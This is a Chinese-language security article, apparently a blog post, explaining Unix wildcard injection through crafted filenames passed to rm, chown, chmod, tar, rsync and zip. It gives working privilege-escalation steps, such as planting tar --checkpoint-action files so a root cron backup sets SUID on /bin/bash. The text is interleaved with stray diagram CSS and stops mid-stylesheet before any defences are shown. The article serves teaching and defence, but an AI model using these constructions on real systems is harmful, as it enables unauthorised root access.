摘要
Unix 通配符注入(Wildcard Injection)是一种被严重低估但长期有效的攻击技术。当系统命令使用 * 等通配符处理文件时,攻击者可通过构造包含特殊字符(尤其是以 - 开头的)文件名,将文件名"伪装"成命令参数注入到命令行中,从而实现权限篡改、任意命令执行等高危操作。本文结合经典论文与实战场景,系统分析 tar、rsync、zip、chown、chmod 等常见命令的通配符注入原理、利用手法及防御方案。
1. 引言
在现代安全攻防中,ASLR 绕过、ROP 利用、0day 内核漏洞等高级技术往往占据主流视野。然而,一些"复古"的 Unix 技巧却因其简单、隐蔽、普适性强而长期有效。通配符注入正是其中之一------它不需要复杂的内存布局操控,只需利用 shell 对通配符的解析机制,就能让看似无害的 tar * 变成提权后门。
本文的核心问题是:当文件名与命令参数共享同一个输入通道时,如何打破二者的边界?
2. 通配符基础与风险模型
2.1 Shell 通配符解析机制
在 Unix shell 中,通配符在命令执行前由 shell 先行展开:
| 通配符 | 含义 |
|---|---|
* |
匹配任意数量字符(包括零个) |
? |
匹配单个字符 |
[ ] |
匹配括号内任一字符 |
- |
在 [ ] 中表示字符范围 |
关键风险点:当目录中存在以 - 开头的文件名时,* 展开后会将其作为参数传递给目标命令,而非普通文件名。
2.2 通道混合攻击(Channeling Attack)
通配符注入本质上是一种 通道混合(Channeling) 问题------将原本应属于"文件名通道"的数据注入到"参数通道"中。当管理员执行:
bash
rm *
shell 实际执行的等价命令为:
bash
rm file1.txt file2.txt -rf
若目录中存在名为 -rf 的文件,rm 会将其解析为递归强制删除选项,导致灾难性后果。
#mermaid-svg-mQADuVr6P37uD48G{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-mQADuVr6P37uD48G .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-mQADuVr6P37uD48G .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-mQADuVr6P37uD48G .error-icon{fill:#552222;}#mermaid-svg-mQADuVr6P37uD48G .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-mQADuVr6P37uD48G .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-mQADuVr6P37uD48G .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-mQADuVr6P37uD48G .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-mQADuVr6P37uD48G .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-mQADuVr6P37uD48G .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-mQADuVr6P37uD48G .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-mQADuVr6P37uD48G .marker{fill:#333333;stroke:#333333;}#mermaid-svg-mQADuVr6P37uD48G .marker.cross{stroke:#333333;}#mermaid-svg-mQADuVr6P37uD48G svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-mQADuVr6P37uD48G p{margin:0;}#mermaid-svg-mQADuVr6P37uD48G .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-mQADuVr6P37uD48G .cluster-label text{fill:#333;}#mermaid-svg-mQADuVr6P37uD48G .cluster-label span{color:#333;}#mermaid-svg-mQADuVr6P37uD48G .cluster-label span p{background-color:transparent;}#mermaid-svg-mQADuVr6P37uD48G .label text,#mermaid-svg-mQADuVr6P37uD48G span{fill:#333;color:#333;}#mermaid-svg-mQADuVr6P37uD48G .node rect,#mermaid-svg-mQADuVr6P37uD48G .node circle,#mermaid-svg-mQADuVr6P37uD48G .node ellipse,#mermaid-svg-mQADuVr6P37uD48G .node polygon,#mermaid-svg-mQADuVr6P37uD48G .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-mQADuVr6P37uD48G .rough-node .label text,#mermaid-svg-mQADuVr6P37uD48G .node .label text,#mermaid-svg-mQADuVr6P37uD48G .image-shape .label,#mermaid-svg-mQADuVr6P37uD48G .icon-shape .label{text-anchor:middle;}#mermaid-svg-mQADuVr6P37uD48G .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-mQADuVr6P37uD48G .rough-node .label,#mermaid-svg-mQADuVr6P37uD48G .node .label,#mermaid-svg-mQADuVr6P37uD48G .image-shape .label,#mermaid-svg-mQADuVr6P37uD48G .icon-shape .label{text-align:center;}#mermaid-svg-mQADuVr6P37uD48G .node.clickable{cursor:pointer;}#mermaid-svg-mQADuVr6P37uD48G .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-mQADuVr6P37uD48G .arrowheadPath{fill:#333333;}#mermaid-svg-mQADuVr6P37uD48G .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-mQADuVr6P37uD48G .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-mQADuVr6P37uD48G .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-mQADuVr6P37uD48G .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-mQADuVr6P37uD48G .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-mQADuVr6P37uD48G .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-mQADuVr6P37uD48G .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-mQADuVr6P37uD48G .cluster text{fill:#333;}#mermaid-svg-mQADuVr6P37uD48G .cluster span{color:#333;}#mermaid-svg-mQADuVr6P37uD48G div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-mQADuVr6P37uD48G .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-mQADuVr6P37uD48G rect.text{fill:none;stroke-width:0;}#mermaid-svg-mQADuVr6P37uD48G .icon-shape,#mermaid-svg-mQADuVr6P37uD48G .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-mQADuVr6P37uD48G .icon-shape p,#mermaid-svg-mQADuVr6P37uD48G .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-mQADuVr6P37uD48G .icon-shape .label rect,#mermaid-svg-mQADuVr6P37uD48G .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-mQADuVr6P37uD48G .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-mQADuVr6P37uD48G .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-mQADuVr6P37uD48G :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 命令执行阶段
Shell 通配符展开阶段
rm *
解析目录文件列表
file1.txt, file2.txt, -rf
rm file1.txt file2.txt -rf
-rf 被解析为选项
而非文件名
3. 权限篡改:chown / chmod 文件引用劫持
3.1 chown 所有者劫持
chown 的 --reference=RFILE 参数允许以参考文件的属主/属组为目标,而非手动指定。攻击者构造如下文件:
bash
# 创建参考文件(属主为攻击者 leon)
touch .drf.php
# 创建注入参数的文件名
touch -- "--reference=.drf.php"
当 root 执行 chown -R nobody:nobody *.php 时,展开后变为:
bash
chown -R nobody:nobody admin.php ... --reference=.drf.php
由于 --reference 优先级高于位置参数,所有 .php 文件的属主被篡改为 leon,实现文件所有权劫持。
攻击者(leon) 文件系统 Shell root 攻击者(leon) 文件系统 Shell root #mermaid-svg-tBpHlBNtMtXSOmEW{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-tBpHlBNtMtXSOmEW .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-tBpHlBNtMtXSOmEW .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-tBpHlBNtMtXSOmEW .error-icon{fill:#552222;}#mermaid-svg-tBpHlBNtMtXSOmEW .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-tBpHlBNtMtXSOmEW .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-tBpHlBNtMtXSOmEW .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-tBpHlBNtMtXSOmEW .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-tBpHlBNtMtXSOmEW .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-tBpHlBNtMtXSOmEW .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-tBpHlBNtMtXSOmEW .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-tBpHlBNtMtXSOmEW .marker{fill:#333333;stroke:#333333;}#mermaid-svg-tBpHlBNtMtXSOmEW .marker.cross{stroke:#333333;}#mermaid-svg-tBpHlBNtMtXSOmEW svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-tBpHlBNtMtXSOmEW p{margin:0;}#mermaid-svg-tBpHlBNtMtXSOmEW .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-tBpHlBNtMtXSOmEW text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-tBpHlBNtMtXSOmEW .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-tBpHlBNtMtXSOmEW .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-tBpHlBNtMtXSOmEW .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-tBpHlBNtMtXSOmEW .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-tBpHlBNtMtXSOmEW #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-tBpHlBNtMtXSOmEW .sequenceNumber{fill:white;}#mermaid-svg-tBpHlBNtMtXSOmEW #sequencenumber{fill:#333;}#mermaid-svg-tBpHlBNtMtXSOmEW #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-tBpHlBNtMtXSOmEW .messageText{fill:#333;stroke:none;}#mermaid-svg-tBpHlBNtMtXSOmEW .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-tBpHlBNtMtXSOmEW .labelText,#mermaid-svg-tBpHlBNtMtXSOmEW .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-tBpHlBNtMtXSOmEW .loopText,#mermaid-svg-tBpHlBNtMtXSOmEW .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-tBpHlBNtMtXSOmEW .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-tBpHlBNtMtXSOmEW .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-tBpHlBNtMtXSOmEW .noteText,#mermaid-svg-tBpHlBNtMtXSOmEW .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-tBpHlBNtMtXSOmEW .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-tBpHlBNtMtXSOmEW .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-tBpHlBNtMtXSOmEW .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-tBpHlBNtMtXSOmEW .actorPopupMenu{position:absolute;}#mermaid-svg-tBpHlBNtMtXSOmEW .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-tBpHlBNtMtXSOmEW .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-tBpHlBNtMtXSOmEW .actor-man circle,#mermaid-svg-tBpHlBNtMtXSOmEW line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-tBpHlBNtMtXSOmEW :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 所有文件属主变为 leon! touch .drf.php touch "--reference=.drf.php" chown -R nobody:nobody *.php 通配符展开 读取文件列表 admin.php, ..., --reference=.drf.php chown -R nobody:nobody admin.php ... --reference=.drf.php 按 .drf.php 的属主(leon)修改所有文件 完成
3.2 chmod 权限篡改
同理,chmod 的 --reference 参数可被用于批量修改权限。攻击者将 .drf.php 设为 777,再注入 --reference=.drf.php,即可将目标目录下所有文件权限改为 777。
更危险的是,若配合 -R 文件名(touch -- -R),还可实现递归权限篡改。
4. 命令执行:tar / rsync / zip 参数注入
4.1 tar 任意命令执行
原理
tar 支持 --checkpoint 和 --checkpoint-action 参数,允许在归档过程中达到检查点时执行指定动作:
bash
--checkpoint=NUMBER # 每 NUMBER 条记录显示进度
--checkpoint-action=ACTION # 在检查点执行 ACTION
攻击构造
攻击者创建以下文件和脚本:
bash
# 恶意脚本
echo '/usr/bin/id' > shell.sh && chmod +x shell.sh
# 注入参数的文件名
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
当 root 执行 tar cf archive.tar * 时,展开后的命令为:
bash
tar cf archive.tar admin.php ... --checkpoint=1 --checkpoint-action=exec=sh shell.sh
tar 在归档第一个文件后即触发检查点,执行 sh shell.sh,以 root 权限运行任意命令。
#mermaid-svg-zSvAhWvvSMEgLU3q{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-zSvAhWvvSMEgLU3q .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-zSvAhWvvSMEgLU3q .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-zSvAhWvvSMEgLU3q .error-icon{fill:#552222;}#mermaid-svg-zSvAhWvvSMEgLU3q .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-zSvAhWvvSMEgLU3q .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-zSvAhWvvSMEgLU3q .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-zSvAhWvvSMEgLU3q .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-zSvAhWvvSMEgLU3q .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-zSvAhWvvSMEgLU3q .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-zSvAhWvvSMEgLU3q .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-zSvAhWvvSMEgLU3q .marker{fill:#333333;stroke:#333333;}#mermaid-svg-zSvAhWvvSMEgLU3q .marker.cross{stroke:#333333;}#mermaid-svg-zSvAhWvvSMEgLU3q svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-zSvAhWvvSMEgLU3q p{margin:0;}#mermaid-svg-zSvAhWvvSMEgLU3q .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-zSvAhWvvSMEgLU3q .cluster-label text{fill:#333;}#mermaid-svg-zSvAhWvvSMEgLU3q .cluster-label span{color:#333;}#mermaid-svg-zSvAhWvvSMEgLU3q .cluster-label span p{background-color:transparent;}#mermaid-svg-zSvAhWvvSMEgLU3q .label text,#mermaid-svg-zSvAhWvvSMEgLU3q span{fill:#333;color:#333;}#mermaid-svg-zSvAhWvvSMEgLU3q .node rect,#mermaid-svg-zSvAhWvvSMEgLU3q .node circle,#mermaid-svg-zSvAhWvvSMEgLU3q .node ellipse,#mermaid-svg-zSvAhWvvSMEgLU3q .node polygon,#mermaid-svg-zSvAhWvvSMEgLU3q .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-zSvAhWvvSMEgLU3q .rough-node .label text,#mermaid-svg-zSvAhWvvSMEgLU3q .node .label text,#mermaid-svg-zSvAhWvvSMEgLU3q .image-shape .label,#mermaid-svg-zSvAhWvvSMEgLU3q .icon-shape .label{text-anchor:middle;}#mermaid-svg-zSvAhWvvSMEgLU3q .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-zSvAhWvvSMEgLU3q .rough-node .label,#mermaid-svg-zSvAhWvvSMEgLU3q .node .label,#mermaid-svg-zSvAhWvvSMEgLU3q .image-shape .label,#mermaid-svg-zSvAhWvvSMEgLU3q .icon-shape .label{text-align:center;}#mermaid-svg-zSvAhWvvSMEgLU3q .node.clickable{cursor:pointer;}#mermaid-svg-zSvAhWvvSMEgLU3q .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-zSvAhWvvSMEgLU3q .arrowheadPath{fill:#333333;}#mermaid-svg-zSvAhWvvSMEgLU3q .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-zSvAhWvvSMEgLU3q .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-zSvAhWvvSMEgLU3q .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-zSvAhWvvSMEgLU3q .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-zSvAhWvvSMEgLU3q .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-zSvAhWvvSMEgLU3q .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-zSvAhWvvSMEgLU3q .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-zSvAhWvvSMEgLU3q .cluster text{fill:#333;}#mermaid-svg-zSvAhWvvSMEgLU3q .cluster span{color:#333;}#mermaid-svg-zSvAhWvvSMEgLU3q div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-zSvAhWvvSMEgLU3q .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-zSvAhWvvSMEgLU3q rect.text{fill:none;stroke-width:0;}#mermaid-svg-zSvAhWvvSMEgLU3q .icon-shape,#mermaid-svg-zSvAhWvvSMEgLU3q .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-zSvAhWvvSMEgLU3q .icon-shape p,#mermaid-svg-zSvAhWvvSMEgLU3q .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-zSvAhWvvSMEgLU3q .icon-shape .label rect,#mermaid-svg-zSvAhWvvSMEgLU3q .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-zSvAhWvvSMEgLU3q .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-zSvAhWvvSMEgLU3q .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-zSvAhWvvSMEgLU3q :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;}#mermaid-svg-zSvAhWvvSMEgLU3q .none>*{fill:#fff!important;stroke:#ccc!important;}#mermaid-svg-zSvAhWvvSMEgLU3q .none span{fill:#fff!important;stroke:#ccc!important;} 是
root 执行 tar cf archive.tar *
Shell 展开通配符
文件列表包含
--checkpoint=1
--checkpoint-action=exec=sh shell.sh
tar 解析参数
遇到 --checkpoint=1
触发检查点
执行 exec=sh shell.sh
以 root 权限运行 /usr/bin/id
输出 uid=0(root)
完整利用链
bash
# 攻击者视角
cd /var/www/html/uploads
echo 'chmod +s /bin/bash' > shell.sh && chmod +x shell.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
# root 的 cron 任务触发
# tar -czf /root/backups/web.tar.gz *
# → /bin/bash 获得 SUID,攻击者执行 /bin/bash -p 提权
4.2 rsync 远程 Shell 注入
原理
rsync 的 -e(或 --rsh)参数用于指定远程 shell 命令。当 rsync 通过通配符获取到 -e 参数时,会将其后的内容作为远程 shell 执行。
攻击构造
bash
# 创建恶意脚本
echo '/usr/bin/id > shell_output.txt' > shell.c && chmod +x shell.c
# 构造注入文件名(利用 ${IFS} 绕过空格过滤)
touch -- "-e sh shell.c"
当 root 执行 rsync -t *.c backup:/srv/ 时,展开为:
bash
rsync -t admin.c ... -e sh shell.c backup:/srv/
rsync 将 shell.c 作为 -e 指定的远程 shell 执行,结果写入 shell_output.txt。
远程服务器 攻击者文件 rsync root 远程服务器 攻击者文件 rsync root #mermaid-svg-vWpd8A5t0GTiujSX{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-vWpd8A5t0GTiujSX .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-vWpd8A5t0GTiujSX .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-vWpd8A5t0GTiujSX .error-icon{fill:#552222;}#mermaid-svg-vWpd8A5t0GTiujSX .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-vWpd8A5t0GTiujSX .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-vWpd8A5t0GTiujSX .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-vWpd8A5t0GTiujSX .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-vWpd8A5t0GTiujSX .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-vWpd8A5t0GTiujSX .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-vWpd8A5t0GTiujSX .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-vWpd8A5t0GTiujSX .marker{fill:#333333;stroke:#333333;}#mermaid-svg-vWpd8A5t0GTiujSX .marker.cross{stroke:#333333;}#mermaid-svg-vWpd8A5t0GTiujSX svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-vWpd8A5t0GTiujSX p{margin:0;}#mermaid-svg-vWpd8A5t0GTiujSX .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-vWpd8A5t0GTiujSX text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-vWpd8A5t0GTiujSX .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-vWpd8A5t0GTiujSX .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-vWpd8A5t0GTiujSX .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-vWpd8A5t0GTiujSX .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-vWpd8A5t0GTiujSX #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-vWpd8A5t0GTiujSX .sequenceNumber{fill:white;}#mermaid-svg-vWpd8A5t0GTiujSX #sequencenumber{fill:#333;}#mermaid-svg-vWpd8A5t0GTiujSX #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-vWpd8A5t0GTiujSX .messageText{fill:#333;stroke:none;}#mermaid-svg-vWpd8A5t0GTiujSX .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-vWpd8A5t0GTiujSX .labelText,#mermaid-svg-vWpd8A5t0GTiujSX .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-vWpd8A5t0GTiujSX .loopText,#mermaid-svg-vWpd8A5t0GTiujSX .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-vWpd8A5t0GTiujSX .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-vWpd8A5t0GTiujSX .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-vWpd8A5t0GTiujSX .noteText,#mermaid-svg-vWpd8A5t0GTiujSX .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-vWpd8A5t0GTiujSX .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-vWpd8A5t0GTiujSX .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-vWpd8A5t0GTiujSX .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-vWpd8A5t0GTiujSX .actorPopupMenu{position:absolute;}#mermaid-svg-vWpd8A5t0GTiujSX .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-vWpd8A5t0GTiujSX .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-vWpd8A5t0GTiujSX .actor-man circle,#mermaid-svg-vWpd8A5t0GTiujSX line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-vWpd8A5t0GTiujSX :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} shell_output.txt 属主为 root,证明以 root 执行 创建 -e sh shell.c rsync -t *.c backup:/srv/ 通配符展开 *.c 解析到 -e sh shell.c 将 shell.c 作为远程 shell 执行 /usr/bin/id > shell_output.txt
4.3 zip 双向量攻击
zip 命令存在两类通配符注入风险:命令执行 与任意文件写入。
4.3.1 命令执行:-T / -TT 注入
zip 的 -T 参数用于测试压缩包完整性,-TT(或 --unzip-command)指定测试时使用的解压命令。
攻击构造:
bash
# 创建恶意脚本
echo 'chmod +s /bin/bash' > a.txt && chmod +x a.txt
# 构造注入文件名
touch -- "-T -TT sh${IFS}a.txt"
当 root 执行 zip -q /root/backups/latest.zip * 时,-T 触发完整性测试,-TT sh a.txt 将 a.txt 作为解压命令执行,实现提权。
#mermaid-svg-iF24QFWDqmHPDbD4{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-iF24QFWDqmHPDbD4 .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-iF24QFWDqmHPDbD4 .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-iF24QFWDqmHPDbD4 .error-icon{fill:#552222;}#mermaid-svg-iF24QFWDqmHPDbD4 .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-iF24QFWDqmHPDbD4 .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-iF24QFWDqmHPDbD4 .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-iF24QFWDqmHPDbD4 .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-iF24QFWDqmHPDbD4 .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-iF24QFWDqmHPDbD4 .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-iF24QFWDqmHPDbD4 .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-iF24QFWDqmHPDbD4 .marker{fill:#333333;stroke:#333333;}#mermaid-svg-iF24QFWDqmHPDbD4 .marker.cross{stroke:#333333;}#mermaid-svg-iF24QFWDqmHPDbD4 svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-iF24QFWDqmHPDbD4 p{margin:0;}#mermaid-svg-iF24QFWDqmHPDbD4 .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-iF24QFWDqmHPDbD4 .cluster-label text{fill:#333;}#mermaid-svg-iF24QFWDqmHPDbD4 .cluster-label span{color:#333;}#mermaid-svg-iF24QFWDqmHPDbD4 .cluster-label span p{background-color:transparent;}#mermaid-svg-iF24QFWDqmHPDbD4 .label text,#mermaid-svg-iF24QFWDqmHPDbD4 span{fill:#333;color:#333;}#mermaid-svg-iF24QFWDqmHPDbD4 .node rect,#mermaid-svg-iF24QFWDqmHPDbD4 .node circle,#mermaid-svg-iF24QFWDqmHPDbD4 .node ellipse,#mermaid-svg-iF24QFWDqmHPDbD4 .node polygon,#mermaid-svg-iF24QFWDqmHPDbD4 .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-iF24QFWDqmHPDbD4 .rough-node .label text,#mermaid-svg-iF24QFWDqmHPDbD4 .node .label text,#mermaid-svg-iF24QFWDqmHPDbD4 .image-shape .label,#mermaid-svg-iF24QFWDqmHPDbD4 .icon-shape 